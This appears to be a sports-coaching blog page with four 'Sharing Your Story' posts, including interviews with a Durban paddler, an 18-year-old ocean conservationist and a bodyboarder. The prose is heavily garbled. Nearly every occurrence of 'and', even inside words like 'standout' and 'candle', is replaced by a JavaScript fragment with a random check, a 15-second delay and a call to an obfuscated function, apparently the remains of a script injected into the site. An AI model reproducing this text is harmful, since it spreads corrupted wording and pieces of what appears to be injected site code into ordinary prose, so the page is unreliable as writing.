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    Sharing Your Story – Edition 4 – Sport Life with Clint Cook

    Written by Barry Lewin on . Posted in Coaching

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    In this blog series, ‘Sharing Your Story’, I attempt to share the stories I come across that inspire me. In this addition I interview Clint Cook, a top paddler in our Durban community, as he goes through the challenges of leaving Varsity College andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finding his first full time job.

    In tough economic times where jobs are few, you need to standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out from the crowd andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have skills to add value to the job market. The success Clint has had, I believe is directly a result of the environment he has been involved in, as part of the Sports Life program at Varsity College.

    I have known Clint since he moved from Joberg to Durban some year’s back, having seen him has grow as a paddler andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a strong personality off the water too. I have had the privilege of him work for me as a coach at my Surfskischool in Durban andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was blown away by his friendly nature andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and great people skills.

    Clint recently went for his first job interviews andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has been successful a landom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}anding a position with a top Durban firm. I shared some of his experiences over this time andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and couldn’t help feel inspired for the students leaving Varsity College.

    I have had a long relationship with Varsity College, first as a student andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and believe that the skills I learnt there prepared me for the challenges of owning my own business. Their focus of preparing students not just to pass, but for the working world has always been a standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and out, with sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and part time work off campus, always being at the forefront of this mantra.

    Sport Life (Varsity College’s Sporting Clubs on campus) offer students the opportunity to get involved in sports, network andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and live a healthier lifestyle, preparing them for success. It is awesome to see this program has impacted so positively on Clint andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and others.

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    Here is the interview:

    BL. How were you first introduced to Varsity College?

    CC. I was introduced to Varsity College by Grant Van Der Walt (Sports Life Captain on the Durban North Campus). I had made a return to paddling after a 2 year gap andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Grant suggested I sign up.

    BL. What did you decide to study?

    CC. I studied an HCBPP (Higher certificate in Business principles andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and practice) andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a BCom in Financial management.

    BL. How did you involved with Sport Life on campus?

    CC. When I went for my interview with Varsity College, The Principle, Keith andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Student Adviser, Jo Taylor recommended I get involved with the Sports life program as canoeing was a sport offered by VC.

    BL. What skills did you pick up at VC that standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you apart from your peers?

    CC. VC taught me how to be myself, be an individual andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and standom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and tall. It also taught me that hard work pays off.

    BL. What did you learn from sport outside the class?

    CC. Sport has taught me that what you put in, is what you get out. It has given me self discipline andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and a sense of purpose.

    BL. What part time work did you do outside of VC to build your skills?

    CC. In 2015 I worked as a part time Surf Ski coach at the Surfskischool. This was great as a means of making extra cash, as well as teaching andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and sharing my love for paddling with others.

    BL. How did the skills learnt though your years as a student impact your interviewing for your first job?

    CC. When I interviewed for my first job, I knew I had the necessary skills to face any challenge as well as cope with anything that the job may throw at me. Lucie Bouwer from the VC careers Centre was a great help andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and mentor andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and gave solid advice.

    BL. What were the defining factors in you getting the position?

    CC. My passion for sports as well as my achievements, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the higher education andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and skills I gained from studying my degree through VC.

    BL. How do you believe VC has prepared you for the work place now that you are in the working world?

    CC. VC offered me a platform to jumpstart my life, the amount of things that VC has taught me is completely invaluable andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and these things will now stay with me for life.

    BL. What advice would you give students starting out at VC?

    CC. For students starting at VC, I suggest you get involved, get stuck in. Work hard, make friends with the Lecturers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and staff, these relationships provide you with bridges to a better future.

    BL. What advice would give a student going for his/her first interview?

    CC. For a student interviewing, I would say that VC has taught you what you need to know, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and with that qualification behind you there’s nothing you can’t do.

    Thanks to Clint for sharing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and good luck with a successful career.

    Sharing Your Story – Edition 3 – Olivia Taylor

    Written by Barry Lewin on . Posted in Coaching

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    This relatively new blog series “Sharing your story” is really taking shape nicely now into it’s 3rd edition. As I share my story on this blog I also find other amazingly inspiring stories which really need to be shared too. I am glad to have the chance to inspire others with this addition andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and shed light on the amazing people around us.

    I met Olivia Taylor a number of years ago andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and have been blown away by her conservation efforts. With yesterday being World Ocean Day I am really happy to get to interview this dynamic young women about the Four Elements Ocean Challenge.

    The scary thing is Olivia is only 18 years old andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and has achieved so much despite her age. Her passion for the ocean andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it’s conservation is infectious, a great example for us, young or old.

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    Check out our interview:

    Barry – Hi Olivia. Well done on your hard work on ocean conservation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and thanks for allowing me to “share you story”. Where did your passion for the ocean start?

    Olivia – Thanks Barry! My passion for the ocean started at a young age when my dad used to push me onto small waves on his surfboard. I think a definite turning point in my love for the ocean came when I was given the opportunity to learn to freedive. I attended a course by Hanli Prinsloo andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Sara Campbell which helped me to overcome my fear of water andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and fostered my deep appreciation andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and respect for the oceans.

    Barry – I met you on a shark dive a number of years ago, how were you introduced to these amazing creatures?

    Olivia – I was introduced to my first sharks on a scuba dive at Aliwal Shoal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was overwhelmed by their curiosity andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and ease with which they move through the water. Although I enjoyed scuba diving with them I dreamt of freediving with them andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and finally had that opportunity accompanying Julie Andersen, founder of SharkAngels.org, on a dive trip where I had my first interaction with a tiger shark. It was incredible being in the presence of such powerful andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and feared creatures but, I only felt adoration.

    Barry – What made you start “Four Elements Conservation”?

    Olivia – I conceptualised Four Elements Conservation NPC after being dissatisfied with the apathy of lacklustre teens andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and realising that some environmental organisations I had come across were not living up to their public statements. With the help of my dad, Mark, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and two of my directors John McCarthy andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Amaresh Chetty Four Elements is now a registered company that has been acknowledged with both national andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and international awards.

    Barry – One of the things that has really grown is the Four Element Conservation NPC Ocean Challenge after an awesome in it’s second year. Tell us about the race andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and how things went in the 2015 event.

    Olivia – Wow, it has been an incredible journey. Last year the event started small with only 16 incredibly passionate swimmers andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and grew this year to 116 swimmers! The race day saw some tricky conditions really living up to its name “Ocean Challenge”. There were strong currents on the second leg but all of the dedicated swimmers completed the race! This year we saw an increase of swimmers travelling into Durban from all over the country to compete. I was stunned by the support andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and positive feedback about the swim was andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and really excited when chatting to swimmers who share my passion for the environment. I feel that the swim allowed people to engage with the environment in an especially intimate way. The swim achieved its goal in raising funding for a new venture that Four Elements is running, the Four Elements Environmental Camp. This camp is a four day scholarship adventure taking place in December where successful applicants (kids between1 0 andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and 18 years old) will learn essential business skills to start their own environmental initiatives as well as experiencing some really cool wildlife engagement activities. For example; swimming with sharks, bushwalks andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and horse riding on the beach. The applications for the camp will open on 8 June, World Oceans Day.

    Barry – I see Four Elements is a NGO, what are your dreams for this awesome conservation initiative?

    Olivia – Four Elements was initially a vessel through which I could voice my concerns for the environment andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and do legitimate fundraising but it has been evolving steadily andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am really excited about its approaching future! The new aims andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and direction are towards developing passionate youths who want to become positive environmental change makers. I would like Four Elements to serve as a candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andle who lights a thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and other candom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andles, who inspires another thousandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and environmental organisations, by supporting kids in teaching them the power of their voices andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and that they can make a difference. These kids will be confidant, self-sufficient, green entrepreneurs. Through education I believe that Four Elements will develop future leaders who will hold the environment in the highest esteem.

     

    Sharing Your Story – Edition 2 – Iain Campbell

    Written by Barry Lewin on . Posted in Coaching

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    I find inspiring stories on a daily basis, that I think will inspire you too, so I started this little section on my blog not just to share my story, but yours as well.

    Iain Campbell – Following a Dream

    I have know Iain since he was a tiny grom running around at lifesaving andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and riding north beach. The little kid has grown up into a full blow freak on a bodyboard andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and is making a name for himself all over the world.

    People are taking serious notice since he put out this amazing clip of his trip to Hawaii over the winter. Watch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and enjoy.

    There is more to this kid than big waves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and epic boosts. I have dealt with many athletes over the last 10 years andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and there aren’t many that fly under the radar as much as Iain andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get the job done with proper passion. Many have big dreams but rarely go after them. Iain is chasing that dream. I got a chance to interview him about following a dream.

    B.L. – Where did it start?

    I.C – It all started back when I was in primary school andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and was taken into the water by a family friend. It was then that I moved into North Beach andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and started to bodyboard with Billy Thiel through the DPHS bodyboarding lessons.

    B.L – What was your first trip to Hawaii Like being a dream come true?

    I.C – My first Hawaii trip was insane. It was everything that I was to expect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and definitely a dream come true for me. I was able to meet some of the biggest hero’s that I had looked up to my entire life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get some of the best waves of my life. I arrived on the islandom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and not knowing what to expect andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I was able to come out of the season with the cover of Movement Mag (a top international magazine). What more could I ask for.

    B.L – How long have you been travelling through your sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and what have your learnt?

    I.C – I have been traveling for the last 3 years. I really have learnt a lot about myself. I have learnt that I love being by myself andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I am able to learn a lot from other people andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and meet some amazing people. These people have changed my life andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and will continue to be there for me through good andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and bad times. It is amazing how you are able to progress in your sport when you are constantly trying to ride new waves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and get better. I am able to ride some of the worlds best waves andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and travel to unreal destinations all through my sport. What could be better?

    B.L – You blew up in Hawaii this year, what was the difference?

    I.C – Well it’s hard to say but I must say that having Billy Thiel there helping to prepare meals, drive me andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and film my riding really helped me progress. I always wanted this season to show myself that I am able to progress in the sport andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and produce a clip that people can watch andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and be really excited about. And I feel like this is something that I achieved. I really feel like having someone there to film you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and show you what you are doing right andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and wrong is the way forward right now. I have never had this before andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and working with Billy aloud me to be able to watch footage andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and see where I am going wrong while also adjusting my riding.

    B.L – What does living a dream mean to you?

    I.C – Living a dream to me means doing something you love doing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and getting enough money to get by at the end of the day. It’s not about earning money to me but at the end of the day, bills need to get paid andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and food needs to be out on the table. I have to say a big thanks to those who helping me achieve that, Thiel Board Co, Just Bodyboarding, Sun Zapper South Africa, Red Bull South Africa

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    Sharing Your Story – Edition 1

    Written by Barry Lewin on . Posted in Coaching

    When I started this blog, many years ago now, the goal was to share my story. I hoped to have a positive impact in sharing andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and it has been a lot of fun interacting with tons of people along the way.

    If you follow me on Twitter you will know I went to Story Sessions 13 last week andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and since been inspired by many stories online andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and within friends. I realized I want to share not just my story, but rather all the things that inspire me.

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    So this is the first post of a blog series on sharing stories andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and I hope to shed the light on some of the awesome stuff Story Sessions is doing as well as other stories that gets my blood going.

    Story Sessions 13 featured adventurer, Davey du Plessis

    If you haven’t head of Davey du Plessis then I suggest you check him out. He is very young for an adventurer but already see’s purpose in his expeditions, highlighting causes andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and living out those in his every day life.

    Some pics of the evening supplied by Story Sessions , with Davey andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and the men behind story sessions, Travis Gale andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and Don Muller.

    Here are some videos on Davey’s expeditions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and his story!

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